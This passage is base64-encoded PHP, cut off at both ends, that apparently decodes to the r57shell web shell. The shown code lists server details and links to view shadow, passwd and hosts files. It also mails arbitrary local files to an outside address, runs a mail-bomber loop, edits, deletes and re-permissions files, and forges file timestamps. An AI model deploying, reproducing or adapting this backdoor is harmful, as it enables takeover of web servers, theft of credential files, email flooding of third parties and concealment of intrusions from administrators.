Jsb2d3YXRjaCwiO30NCiNpZiAod2hpY2goJycpKSB7JHVzdC49IiwiO30NCn0NCmlmIChAZnVuY3Rpb25fZXhpc3RzKCdhcGFjaGVfZ2V0X21vZHVsZXMnKSAmJiBAaW5fYXJyYXkoJ21vZF9zZWN1cml0eScsYXBhY2hlX2dldF9tb2R1bGVzKCkpKSB7JHVzdC49Im1vZF9zZWN1cml0eSwiO30NCmlmKCR1c3Qpe2VjaG8gIjxicj4iLndzKDIpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzgnXS4iOiA8Zm9udCBjb2xvcj1yZWQ+JHVzdDwvZm9udD4iO30NCiANCiANCmVjaG8gIjxicj4iLndzKDIpLiI8L2I+IjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/cGhwaW5mbyB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ2J10uIlwiPjxiPnBocGluZm88L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/cGhwaW5pIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDcnXS4iXCI+PGI+cGhwLmluaTwvYj48L2E+ICIuJHJiOw0KZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9jcHUgdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1MCddLiJcIj48Yj5jcHU8L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/bWVtIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTEnXS4iXCI+PGI+bWVtPC9iPjwvYT4gIi4kcmI7DQppZighJHVuaXgpIHsNCiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3N5c3RlbWluZm8gdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1MCddLiJcIj48Yj5zeXN0ZW1pbmZvPC9iPjwvYT4gIi4kcmI7DQp9ZWxzZXsNCiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3N5c2xvZyB0aXRsZT1cIlZpZXcgc3lzbG9nLmNvbmZcIj48Yj5zeXNsb2c8L2I+PC9hPiAiLiRyYjsNCiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3Jlc29sdiB0aXRsZT1cIlZpZXcgcmVzb2x2XCI+PGI+cmVzb2x2PC9iPjwvYT4gIi4kcmI7DQogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9ob3N0cyB0aXRsZT1cIlZpZXcgaG9zdHNcIj48Yj5ob3N0czwvYj48L2E+ICIuJHJiOw0KIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/c2hhZG93IHRpdGxlPVwiVmlldyBzaGFkb3dcIj48Yj5zaGFkb3c8L2I+PC9hPiAiLiRyYjsNCiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3Bhc3N3ZCB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk1J10uIlwiPjxiPnBhc3N3ZDwvYj48L2E+ICIuJHJiOyANCn0NCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dG1wIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDgnXS4iXCI+PGI+dG1wPC9iPjwvYT4gIi4kcmI7DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP2RlbGV0ZSB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ5J10uIlwiPjxiPmRlbGV0ZTwvYj48L2E+ICIuJHJiOw0KIA0KaWYoJHVuaXggJiYgISRzYWZlX21vZGUpIA0KeyANCiBlY2hvICI8YnI+Ii53cygyKS4iPC9iPiI7DQogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9wcm9jaW5mbyB0aXRsZT1cIlZpZXcgcHJvY2luZm9cIj48Yj5wcm9jaW5mbzwvYj48L2E+ICIuJHJiOw0KIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dmVyc2lvbiB0aXRsZT1cIlZpZXcgcHJvYyB2ZXJzaW9uXCI+PGI+dmVyc2lvbjwvYj48L2E+ICIuJHJiOw0KIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/ZnJlZSB0aXRsZT1cIlZpZXcgbWVtIGZyZWVcIj48Yj5mcmVlPC9iPjwvYT4gIi4kcmI7DQogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9kbWVzZyg4KSB0aXRsZT1cIlZpZXcgZG1lc2dcIj48Yj5kbWVzZzwvYj48L2E+ICIuJHJiOw0KIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dm1zdGF0IHRpdGxlPVwiVmlldyB2bXN0YXRcIj48Yj52bXN0YXQ8L2I+PC9hPiAiLiRyYjsNCiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP2xzcGNpIHRpdGxlPVwiVmlldyBsc3BjaVwiPjxiPmxzcGNpPC9iPjwvYT4gIi4kcmI7DQogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9sc2RldiB0aXRsZT1cIlZpZXcgbHNkZXZcIj48Yj5sc2RldjwvYj48L2E+ICIuJHJiOw0KIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/aW50ZXJydXB0cyB0aXRsZT1cIlZpZXcgaW50ZXJydXB0c1wiPjxiPmludGVycnVwdHM8L2I+PC9hPiAiLiRyYjsNCiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3JlYWxpc2UxIHRpdGxlPVwiVmlldyByZWFsaXNlMVwiPjxiPnJlYWxpc2UxPC9iPjwvYT4gIi4kcmI7DQogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9yZWFsaXNlMiB0aXRsZT1cIlZpZXcgcmVhbGlzZTJcIj48Yj5yZWFsaXNlMjwvYj48L2E+ICIuJHJiOw0KIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/bHNhdHRyIHRpdGxlPVwiVmlldyBsc2F0dHIgLXZhXCI+PGI+bHNhdHRyPC9iPjwvYT4gIi4kcmI7DQogDQogZWNobyAiPGJyPiIud3MoMikuIjwvYj4iOw0KIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dyB0aXRsZT1cIlZpZXcgd1wiPjxiPnc8L2I+PC9hPiAiLiRyYjsNCiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3dobyB0aXRsZT1cIlZpZXcgd2hvXCI+PGI+d2hvPC9iPjwvYT4gIi4kcmI7DQogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj91cHRpbWUgdGl0bGU9XCJWaWV3IHVwdGltZVwiPjxiPnVwdGltZTwvYj48L2E+ICIuJHJiOw0KIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/bGFzdCB0aXRsZT1cIlZpZXcgbGFzdCAtbiAxMFwiPjxiPmxhc3Q8L2I+PC9hPiAiLiRyYjsNCiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3BzYXV4IHRpdGxlPVwiVmlldyBwcyAtYXV4XCI+PGI+cHMgYXV4PC9iPjwvYT4gIi4kcmI7DQogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9zZXJ2aWNlIHRpdGxlPVwiVmlldyBzZXJ2aWNlXCI+PGI+c2VydmljZTwvYj48L2E+ICIuJHJiOw0KIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/aWZjb25maWcgdGl0bGU9XCJWaWV3IGlmY29uZmlnXCI+PGI+aWZjb25maWc8L2I+PC9hPiAiLiRyYjsNCiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP25ldHN0YXQgdGl0bGU9XCJWaWV3IG5ldHN0YXQgLWFcIj48Yj5uZXRzdGF0PC9iPjwvYT4gIi4kcmI7DQogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9mc3RhYiB0aXRsZT1cIlZpZXcgZnN0YWJcIj48Yj5mc3RhYjwvYj48L2E+ICIuJHJiOw0KIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/ZmRpc2sgdGl0bGU9XCJWaWV3IGZkaXNrIC1sXCI+PGI+ZmRpc2s8L2I+PC9hPiAiLiRyYjsNCiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP2RmIHRpdGxlPVwiVmlldyBkZiAtaFwiPjxiPmRmIC1oPC9iPjwvYT4gIi4kcmI7DQp9DQogDQplY2hvICc8L2ZvbnQ+PC90ZD48L3RyPjx0YWJsZT4gDQogDQoNCjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDAwMDA+IA0KPHRyPjx0ZCBhbGlnbj1yaWdodCB3aWR0aD0xMDA+JzsNCmVjaG8gJGZvbnQ7DQogDQppZigkdW5peCl7DQplY2hvICc8Zm9udCBjb2xvcj0jOTk5OTk5PjxiPnVuYW1lIC1hIDonLndzKDEpLic8YnI+c3lzY3RsIDonLndzKDEpLic8YnI+T1MgOicud3MoMSkuJzxicj5TZXJ2ZXIgOicud3MoMSkuJzxicj5pZCA6Jy53cygxKS4nPGJyPnB3ZCA6Jy53cygxKS4nPC9iPjwvZm9udD48YnI+JzsNCmVjaG8gIjwvdGQ+PHRkPiI7DQplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+IjsNCmVjaG8oKCFlbXB0eSgkdW5hbWUpKT8od3MoMykuQHN1YnN0cigkdW5hbWUsMCwxMjApLiI8YnI+Iik6KHdzKDMpLkBzdWJzdHIoQHBocF91bmFtZSgpLDAsMTIwKS4iPGJyPiIpKTsNCmVjaG8gd3MoMykuJHN5c2N0bC4iPGJyPiI7DQplY2hvIHdzKDMpLmV4KCdlY2hvICRPU1RZUEUnKS4iPGJyPiI7DQplY2hvIHdzKDMpLkBzdWJzdHIoJFNFUlZFUl9TT0ZUV0FSRSwwLDEyMCkuIjxicj4iOw0KaWYoIWVtcHR5KCRpZCkpIHsgZWNobyB3cygzKS4kaWQuIjxicj4iOyB9DQplbHNlIGlmKEBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGV1aWQnKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykgJiYgQGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKQ0KIHsNCiAkZXVzZXJpbmZvICA9IEBwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTsNCiAkZWdyb3VwaW5mbyA9IEBwb3NpeF9nZXRncmdpZChAcG9zaXhfZ2V0ZWdpZCgpKTsNCiBlY2hvIHdzKDMpLid1aWQ9Jy4kZXVzZXJpbmZvWyd1aWQnXS4nICggJy4kZXVzZXJpbmZvWyduYW1lJ10uJyApIGdpZD0nLiRlZ3JvdXBpbmZvWydnaWQnXS4nICggJy4kZWdyb3VwaW5mb1snbmFtZSddLicgKTxicj4nOw0KIH0NCmVsc2UgZWNobyB3cygzKS4idXNlcj0iLkBnZXRfY3VycmVudF91c2VyKCkuIiB1aWQ9Ii5AZ2V0bXl1aWQoKS4iIGdpZD0iLkBnZXRteWdpZCgpLiI8YnI+IjsNCmVjaG8gd3MoMykuJGRpcjsNCmVjaG8gd3MoMykuJyggJy5wZXJtcyhAZmlsZXBlcm1zKCRkaXIpKS4nICknOw0KZWNobyAiPC9iPjwvZm9udD4iOw0KfQ0KZWxzZQ0Kew0KZWNobyAnPGZvbnQgY29sb3I9Izk5OTk5OT48Yj5PUyA6Jy53cygxKS4nPGJyPlNlcnZlciA6Jy53cygxKS4nPGJyPlVzZXIgOicud3MoMSkuJzxicj5wd2QgOicud3MoMSkuJzwvYj48L2ZvbnQ+PGJyPic7DQplY2hvICI8L3RkPjx0ZD4iOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9cmVkPjxiPiI7DQplY2hvIHdzKDMpLkBzdWJzdHIoQHBocF91bmFtZSgpLDAsMTIwKS4iPGJyPiI7DQplY2hvIHdzKDMpLkBzdWJzdHIoJFNFUlZFUl9TT0ZUV0FSRSwwLDEyMCkuIjxicj4iOw0KZWNobyB3cygzKS5AZ2V0ZW52KCJVU0VSTkFNRSIpLiI8YnI+IjsNCmVjaG8gd3MoMykuJGRpcjsNCmVjaG8gIjxicj48L2ZvbnQ+IjsNCn0NCmVjaG8gIjwvZm9udD4iOw0KZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsNCiANCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0ibWFpbCIpDQogew0KICRyZXMgPSBtYWlsKCRfUE9TVFsndG8nXSwkX1BPU1RbJ3N1YmonXSwkX1BPU1RbJ3RleHQnXSwiRnJvbTogIi4kX1BPU1RbJ2Zyb20nXS4iXHJcbiIpOw0KIGVycig2KyRyZXMpOw0KICRfUE9TVFsnY21kJ109IiI7ICANCiB9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09Im1haWxfZmlsZSIgJiYgIWVtcHR5KCRfUE9TVFsnbG9jX2ZpbGUnXSkpDQogeyAgDQogIGlmKCRmaWxlPUBmb3BlbigkX1BPU1RbJ2xvY19maWxlJ10sInIiKSl7ICRmaWxlZHVtcCA9IEBmcmVhZCgkZmlsZSxAZmlsZXNpemUoJF9QT1NUWydsb2NfZmlsZSddKSk7IEBmY2xvc2UoJGZpbGUpOyB9DQogIGVsc2UgaWYgKCRmaWxlPXJlYWR6bGliKCRfUE9TVFsnbG9jX2ZpbGUnXSkpIHsgJGZpbGVkdW1wID0gJGZpbGU7IH0gZWxzZSB7IGVycigxLCRfUE9TVFsnbG9jX2ZpbGUnXSk7ICRfUE9TVFsnY21kJ109IiI7IH0NCiAgaWYoaXNzZXQoJF9QT1NUWydjbWQnXSkpIA0KICB7DQogICAgJGZpbGVuYW1lID0gQGJhc2VuYW1lKCRfUE9TVFsnbG9jX2ZpbGUnXSk7DQogICAgJGNvbnRlbnRfZW5jb2Rpbmc9JG1pbWVfdHlwZT0nJzsNCiAgICBjb21wcmVzcygkZmlsZW5hbWUsJGZpbGVkdW1wLCRfUE9TVFsnY29tcHJlc3MnXSk7DQogICAgJGF0dGFjaCA9IGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAibmFtZSI9PiRmaWxlbmFtZSwNCiAgICAgICAgICAgICAgICAgICAgInR5cGUiPT4kbWltZV90eXBlLA0KICAgICAgICAgICAgICAgICAgICAiY29udGVudCI9PiRmaWxlZHVtcA0KICAgICAgICAgICAgICAgICAgICk7DQogICAgaWYoZW1wdHkoJF9QT1NUWydzdWJqJ10pKSB7ICRfUE9TVFsnc3ViaiddID0gJ2ZpbGUgZnJvbSByNTdzaGVsbCc7IH0NCiAgICBpZihlbXB0eSgkX1BPU1RbJ2Zyb20nXSkpIHsgJF9QT1NUWydmcm9tJ10gPSAnYmlsbHlAbWljcm9zb2Z0LmNvbSc7IH0NCiAgICAkcmVzID0gbWFpbGF0dGFjaCgkX1BPU1RbJ3RvJ10sJF9QT1NUWydmcm9tJ10sJF9QT1NUWydzdWJqJ10sJGF0dGFjaCk7DQogICAgZXJyKDYrJHJlcyk7DQogICAgJF9QT1NUWydjbWQnXT0iIjsgICAgICAgICAgICAgICAgICAgDQogIH0NCiB9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09Im1haWxfYm9tYmVyIiAmJiAhZW1wdHkoJF9QT1NUWydtYWlsX2Zsb29kJ10pICYmICFlbXB0eSgkX1BPU1RbJ21haWxfc2l6ZSddKSkNCiB7DQogZm9yKCRoPTE7JGg8PSRfUE9TVFsnbWFpbF9mbG9vZCddOyRoKyspew0KICAkcmVzID0gbWFpbCgkX1BPU1RbJ3RvJ10sJF9QT1NUWydzdWJqJ10sJF9QT1NUWyd0ZXh0J10uc3RyX3JlcGVhdCgiICIsIDEwMjQqJF9QT1NUWydtYWlsX3NpemUnXSksIkZyb206ICIuJF9QT1NUWydmcm9tJ10uIlxyXG4iKTsNCiB9DQogZXJyKDYrJHJlcyk7DQogJF9QT1NUWydjbWQnXT0iIjsgIA0KIH0NCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddID09ICJmaW5kX3RleHQiKQ0Kew0KJF9QT1NUWydjbWQnXSA9ICdmaW5kICcuJF9QT1NUWydzX2RpciddLicgLW5hbWUgXCcnLiRfUE9TVFsnc19tYXNrJ10uJ1wnIHwgeGFyZ3MgZ3JlcCAtRSBcJycuJF9QT1NUWydzX3RleHQnXS4nXCcnOw0KfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJjaF8iKQ0KIHsNCiBzd2l0Y2goJF9QT1NUWyd3aGF0J10pDQogICB7DQogICBjYXNlICdvd24nOg0KICAgQGNob3duKCRfUE9TVFsncGFyYW0xJ10sJF9QT1NUWydwYXJhbTInXSk7DQogICBicmVhazsNCiAgIGNhc2UgJ2dycCc6DQogICBAY2hncnAoJF9QT1NUWydwYXJhbTEnXSwkX1BPU1RbJ3BhcmFtMiddKTsNCiAgIGJyZWFrOw0KICAgY2FzZSAnbW9kJzoNCiAgIEBjaG1vZCgkX1BPU1RbJ3BhcmFtMSddLGludHZhbCgkX1BPU1RbJ3BhcmFtMiddLCA4KSk7DQogICBicmVhazsNCiAgIH0NCiAkX1BPU1RbJ2NtZCddPSIiOw0KIH0NCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0ibWsiKQ0KIHsNCiAgIHN3aXRjaCgkX1BPU1RbJ3doYXQnXSkNCiAgIHsNCiAgICAgY2FzZSAnZmlsZSc6DQogICAgICBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJjcmVhdGUiKQ0KICAgICAgIHsNCiAgICAgICBpZihAZmlsZV9leGlzdHMoJF9QT1NUWydta19uYW1lJ10pIHx8ICEkZmlsZT1AZm9wZW4oJF9QT1NUWydta19uYW1lJ10sInciKSkgeyBlcnIoMiwkX1BPU1RbJ21rX25hbWUnXSk7ICRfUE9TVFsnY21kJ109IiI7IH0NCiAgICAgICBlbHNlIHsNCiAgICAgICAgQGZjbG9zZSgkZmlsZSk7DQogICAgICAgICRfUE9TVFsnZV9uYW1lJ10gPSAkX1BPU1RbJ21rX25hbWUnXTsNCiAgICAgICAgJF9QT1NUWydjbWQnXT0iZWRpdF9maWxlIjsNCiAgICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAwMDAwMD48dHI+PHRkIGNsYXNzPWhlYWQ+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjEnXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iOw0KICAgICAgICB9DQogICAgICAgfQ0KICAgICAgIGVsc2UgaWYoJF9QT1NUWydhY3Rpb24nXSA9PSAiZGVsZXRlIikNCiAgICAgICB7DQogICAgICAgaWYodW5saW5rKCRfUE9TVFsnbWtfbmFtZSddKSkgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAwMDAwMD48dHI+PHRkIGNsYXNzPWhlYWQ+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjMnXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iOw0KICAgICAgICRfUE9TVFsnY21kJ109IiI7DQogICAgICAgfQ0KICAgICBicmVhazsNCiAgICAgY2FzZSAnZGlyJzoNCiAgICAgIGlmKCRfUE9TVFsnYWN0aW9uJ10gPT0gImNyZWF0ZSIpew0KICAgICAgaWYoQG1rZGlyKCRfUE9TVFsnbWtfbmFtZSddKSkNCiAgICAgICB7DQogICAgICAgICAkX1BPU1RbJ2NtZCddPSIiOw0KICAgICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAwMDAwMD48dHI+PHRkIGNsYXNzPWhlYWQ+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjInXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iOw0KICAgICAgIH0NCiAgICAgIGVsc2UgeyBlcnIoMiwkX1BPU1RbJ21rX25hbWUnXSk7ICRfUE9TVFsnY21kJ109IiI7IH0NCiAgICAgIH0NCiAgICAgIGVsc2UgaWYoJF9QT1NUWydhY3Rpb24nXSA9PSAiZGVsZXRlIil7DQogICAgICBpZihAcm1kaXIoJF9QT1NUWydta19uYW1lJ10pKSBlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDAwMDAwPjx0cj48dGQgY2xhc3M9aGVhZD48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2NCddLiI8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPiI7DQogICAgICAkX1BPU1RbJ2NtZCddPSIiOw0KICAgICAgfQ0KICAgICBicmVhazsNCiAgIH0NCiB9DQogDQogDQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09InRvdWNoIikNCnsNCmlmKCEkX1BPU1RbJ2ZpbGVfbmFtZV9yJ10pDQogew0KICAkZGF0YXIgPSAkX1BPU1RbJ2RheSddLiIgIi4kX1BPU1RbJ21vbnRoJ10uIiAiLiRfUE9TVFsneWVhciddLiIgIi4kX1BPU1RbJ2NoYXNpJ10uIiBob3VycyAiLiRfUE9TVFsnbWludXRlcyddLiIgbWludXRlcyAiLiRfUE9TVFsnc2Vjb25kJ10uIiBzZWNvbmRzIjsNCiAgJGRhdGFyID0gQHN0cnRvdGltZSgkZGF0YXIpOw0KICBAdG91Y2goJF9QT1NUWydmaWxlX25hbWUnXSwkZGF0YXIsJGRhdGFyKTt9DQplbHNlew0KICBAdG91Y2goJF9QT1NUWydmaWxlX25hbWUnXSxAZmlsZW10aW1lKCRfUE9TVFsnZmlsZV9uYW1lX3InXSksQGZpbGVtdGltZSgkX1BPU1RbJ2ZpbGVfbmFtZV9yJ10pKTsNCn0NCiRfUE9TVFsnY21kJ109IiI7DQp9DQogDQogDQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImVkaXRfZmlsZSIgJiYgIWVtcHR5KCRfUE9TVFsnZV9uYW1lJ10pKQ0KIHsNCiBpZighJGZpbGU9QGZvcGVuKCRfUE9TVFsnZV9uYW1lJ10sInIrIikpIHsgJGZpbGVkdW1wID0gQGZyZWFkKCRmaWxlLEBmaWxlc2l6ZSgkX1BPU1RbJ2VfbmFtZSddKSk7IEBmY2xvc2UoJGZpbGUpOyAkb25seV9yZWFkID0gMTsgfQ0KIGlmKCRmaWxlPUBmb3BlbigkX1BPU1RbJ2VfbmFtZSddLCJyIikpIHsgJGZpbGVkdW1wID0gQGZyZWFkKCRmaWxlLEBmaWxlc2l6ZSgkX1BPU1RbJ2VfbmFtZSddKSk7IEBmY2xvc2UoJGZpbGUpOyB9DQogZWxzZSBpZiAoJGZpbGU9cmVhZHpsaWIoJF9QT1NUWydlX25hbWUnXSkpIHsgJGZpbGVkdW1wID0gJGZpbGU7ICRvbmx5X3JlYWQgPSAxOyB9IGVsc2UgeyBlcnIoMSwkX1BPU1RbJ2VfbmFtZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQ0KIGlmKGlzc2V0KCRfUE9TVFsnY21kJ10pKSANCiB7DQogZWNobyAkdGFibGVfdXAzOw0KIGVjaG8gJGZvbnQ7DQogZWNobyAiPGZvcm0gbmFtZT1zYXZlX2ZpbGUgbWV0aG9kPXBvc3Q+IjsNCiBlY2hvIHdzKDMpLiI8Yj4iLiRfUE9TVFsnZV9uYW1lJ10uIjwvYj4iOw0KIGVjaG8gIjxkaXYgYWxpZ249Y2VudGVyPjx0ZXh0YXJlYSBuYW1lPWVfdGV4dCBjb2xzPTEyMSByb3dzPTI0PiI7DQogZWNobyBAaHRtbHNwZWNpYWxjaGFycygkZmlsZWR1bXApOw0KIGVjaG8gIjwvdGV4dGFyZWE+IjsNCiBlY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1lX25hbWUgdmFsdWU9Ii4kX1BPU1RbJ2VfbmFtZSddLiI+IjsNCiBlY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kaXIgdmFsdWU9Ii4kZGlyLiI+IjsNCiBlY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jbWQgdmFsdWU9c2F2ZV9maWxlPiI7DQogZWNobyAoIWVtcHR5KCRvbmx5X3JlYWQpPygiPGJyPjxicj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0NCddKTooIjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiICIuJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEwJ10uIiBcIj4iKSk7DQogZWNobyAiPC9kaXY+IjsNCiBlY2hvICI8L2ZvbnQ+IjsNCiBlY2hvICI8L2Zvcm0+IjsNCiBlY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOw0KIGV4aXQoKTsNCiB9DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJzYXZlX2ZpbGUiKQ0KIHsNCiAkbXRpbWUgPSBAZmlsZW10aW1lKCRfUE9TVFsnZV9uYW1lJ10pOw0KIGlmKCghJGZpbGU9QGZvcGVuKCRfUE9TVFsnZV9uYW1lJ10sInciKSkgJiYgKCFmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfcHV0X2NvbnRlbnRzJykpKSB7IGVycigwLCRfUE9TVFsnZV9uYW1lJ10pOyB9DQogZWxzZSB7DQogaWYoJHVuaXgpICRfUE9TVFsnZV90ZXh0J109QHN0cl9yZXBsYWNlKCJcclxuIiwiXG4iLCRfUE9TVFsnZV90ZXh0J10pOw0KIEBmd3JpdGUoJGZpbGUsJF9QT1NUWydlX3RleHQnXSkgb3IgQGZwdXRzKCRmaWxlLCRfUE9TVFsnZV90ZXh0J10pIG9yIEBmaWxlX3B1dF9jb250ZW50cygkX1BPU1RbJ2Vf